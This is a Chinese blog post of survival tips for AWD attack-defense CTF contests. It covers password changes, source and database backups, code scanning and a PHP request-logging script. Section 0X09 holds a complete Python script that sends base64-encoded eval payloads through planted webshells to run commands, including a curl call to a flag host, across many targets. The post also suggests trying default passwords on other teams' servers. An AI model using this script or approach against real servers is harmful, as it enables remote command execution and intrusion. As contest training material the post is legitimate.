作為大一萌新我并沒有打過AWD,可能我做夢都沒有想到人生的第一場AWD是DEFCON CHINA吧~(滑稽
我自己在伺服器上搭了一個cms來模拟AWD場景。
0X01 改ssh密碼
官方在給出伺服器密碼時,很有可能是預設的,需要趕快修改自己的密碼并嘗試能不能登陸别人的靶機,搞波事情嘿嘿嘿~
0X02 dump源碼
首先可能沒有給源碼,需要自己把源碼全dump下來。
1.使用XFTP或者FileZilla Client等圖形化伺服器管理軟體
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLicmbw5SMwgHMkdXYvwVNw8CX4EDMy8CXzRWYvxGc19CX05WZ052bj1Cc39CX34SO4EjL5cjLwITMvw1LcpDc0RHaiojIsJye.png)
2.使用scp指令
scp -r -P Port [email protected]_ip:remote_folder local_file
0X03 備份資料庫
1. 找配置檔案
找到使用者名和密碼之後登陸mysql
2. 備份
[[email protected] ~]# cd /var/lib/mysql (進入到MySQL庫目錄,根據自己的MySQL的安裝情況調整目錄)
[[email protected] mysql]# mysqldump -u root -p Test>Test0809.sql,輸入密碼即可。
3. 還原
法一:
[[email protected] ~]# mysql -u root -p 回車,輸入密碼,進入MySQL的控制台"mysql>",輸入指令"show databases;"。
看看有些什麼資料庫;
建立你要還原的資料庫,輸入"create database voice;",切換到剛建立的資料庫,輸入"use voice;",回車;導入資料,輸入"source voice.sql;",回車,開始導入,再次出現"mysql>"并且沒有提示錯誤即還原成功。
[[email protected] ~]# cd /var/lib/mysql (進入到MySQL庫目錄,根據自己的MySQL的安裝情況調整目錄)
[[email protected] mysql]# mysql -u root -p Test<Test0809.sql,輸入密碼即可(将要恢複的資料庫檔案放到伺服器的某個目錄下,并進入這個目錄執行以上指令|)。
moodle_bak.sql是需要恢複的檔案名
0X04 拿到源碼之後先D盾清除
好吧這次什麼明顯的後門都沒有,可能比較隐蔽。
0X05. seay掃洞
雖然沒有什麼用,但是至少有個審計的方向,往哪裡看。
0X06. 上監控腳本
本來按理說先放個通防waf的,但是聽說十分容易被check down,最好不要亂動,有時候拿flag分還不如down的分多,這就很難受了。
這裡上一個監控流量的腳本。需要在php檔案前加個
require_once('waf.php');
貼監控腳本:
<?php
error_reporting(0);
define('LOG_FILEDIR','./logs');
function waf()
{
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_')
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']);
$input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);
logging($input);
}
function logging($var){
$filename = $_SERVER['REMOTE_ADDR'];
$LOG_FILENAME = LOG_FILEDIR."/".$filename;
$time = date("Y-m-d G:i:s");
file_put_contents($LOG_FILENAME, "\r\n".$time."\r\n".print_r($var, true), FILE_APPEND);
file_put_contents($LOG_FILENAME,"\r\n".'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'], FILE_APPEND);
file_put_contents($LOG_FILENAME,"\r\n***************************************************************",FILE_APPEND);
}
waf();
?>
0X07. 審計
根據seay掃出的一大波結果(雖然沒什麼用)審計啊審計啊還是審計啊~
直接看也行,seay掃一下其實可能沒有什麼實質性的作用2333333
0X08. 時刻關注流量和積分榜
時刻看着自己的分數,看到自己被down了就趕緊恢複,不管被删庫還是被自己删了什麼重要配置檔案或者還是上的通用waf腳本過不了check。
然後就是檢視流量了。
0X09. 寫腳本批量拿分
直接貼exp了:
#!/usr/bin/python #coding=utf-8 import sys,requests,base64 def loadfile(filepath): try : file = open(filepath,"rb") return str(file.read()) except : print "File %s Not Found!" %filepath sys.exit() def file_write(filepath,filecontent): file = open(filepath,"a") file.write(filecontent) file.close() def getflag(url,method,passwd,flag_path): #flag機的url flag_url="192.168.45.1" #print url #判斷shell是否存在 try : res = requests.get(url,timeout=3) except : print "[-] %s ERR_CONNECTION_TIMED_OUT" %url file_write(flag_path,"[-] %s ERR_CONNECTION_TIMED_OUT\n\n" %url) return 0 if res.status_code!=200 : print "[-] %s Page Not Found!" %url file_write(flag_path,"[-] %s Page Not Found!\n\n" %url) return 0 #執行指令來擷取flag system,exec,passthru,`,shell_exec #[email protected](base64_decode($_GET[z0]));&z0=c3lzdGVtKCJ3aG9hbWkiKTs= cmd = "curl "+flag_url #cmd = "whoami" getflag_cmd ="echo system(\"%s\");"%cmd data={} if method=='get': data[passwd]='@eval(base64_decode($_GET[z0]));' data['z0']=base64.b64encode(getflag_cmd) try: res = requests.get(url,params=data,timeout=3) #print res.url if res.content: content = url+"\n"+res.content+"\n\n" file_write(flag_path,content) print "[+] %s getflag sucessed!"%url else : print "[-] %s cmd exec response is null!"%url content = url+"\ncmd exec response is null!\n\n" file_write(flag_path,content) except : file_write(flag_path,"\n[+] %s Getflag Failed! You can check the shell's passwd!\n\n"%url) print "[+] %s Getflag Failed! You can check the shell's passwd!"%url elif method=='post': data['pass']='Sn3rtf4ck' data[passwd]='@eval(base64_decode($_POST[z0]));' data['z0']=base64.b64encode(getflag_cmd) try: res = requests.post(url,data=data,timeout=3) if res.content: content = url+"\n"+res.content+"\n\n" file_write(flag_path,content) print "[+] %s getflag sucessed!"%url else : print "[-] %s cmd exec response is null!"%url content = url+"\ncmd exec response is null!\n\n" file_write(flag_path,content) except: file_write(flag_path,"\n[+] %s Getflag Failed! You can check the shell's passwd!\n\n"%url) print "[+] %s Getflag Failed! You can check the shell's passwd!"%url if __name__ == '__main__': #存放flag的檔案 flag_path="./flag.txt" shellstr=loadfile("./webshell.txt") list = shellstr.split("\r\n") #print str(list) i = 0 url={} passwd={} method={} for data in list: if data: ls = data.split(",") method_tmp = str(ls[1]) method_tmp = method_tmp.lower() if method_tmp=='post' or method_tmp=='get': url[i]=str(ls[0]) method[i]=method_tmp passwd[i]=str(ls[2]) i+=1 else : print "[-] %s request method error!" %(str(ls[0])) file_write(flag_path,"[-] %s request method error!\n\n" %(str(ls[0]))) else : pass #print str(len(url)) for j in range(len(url)): #調用執行指令的子產品 #print str(j) #print "url is %s method is %s passwd is %s" %(url[j],method[j],passwd[j]) getflag(url=url[j],method=method[j],passwd=passwd[j],flag_path=flag_path) print "Getflag finished!"
0x10. OVER!
安利幾個連結:
《CTF線下賽AWD模式下的生存技巧》
《論如何在CTF比賽中攪“shi”》
《CTF線下防禦戰 — 讓你的靶機變成“銅牆鐵壁”》
AWD攻防賽webshell批量利用架構
針對ctf線下賽流量抓取(php)、真實環境流量抓取分析的工具
AWD攻防賽腳本集合
CTFDefense
就這些了,DEFCON CHINA注定是被打爆的,就當去北京旅遊了orz...de
DEFCON CHINA 再會!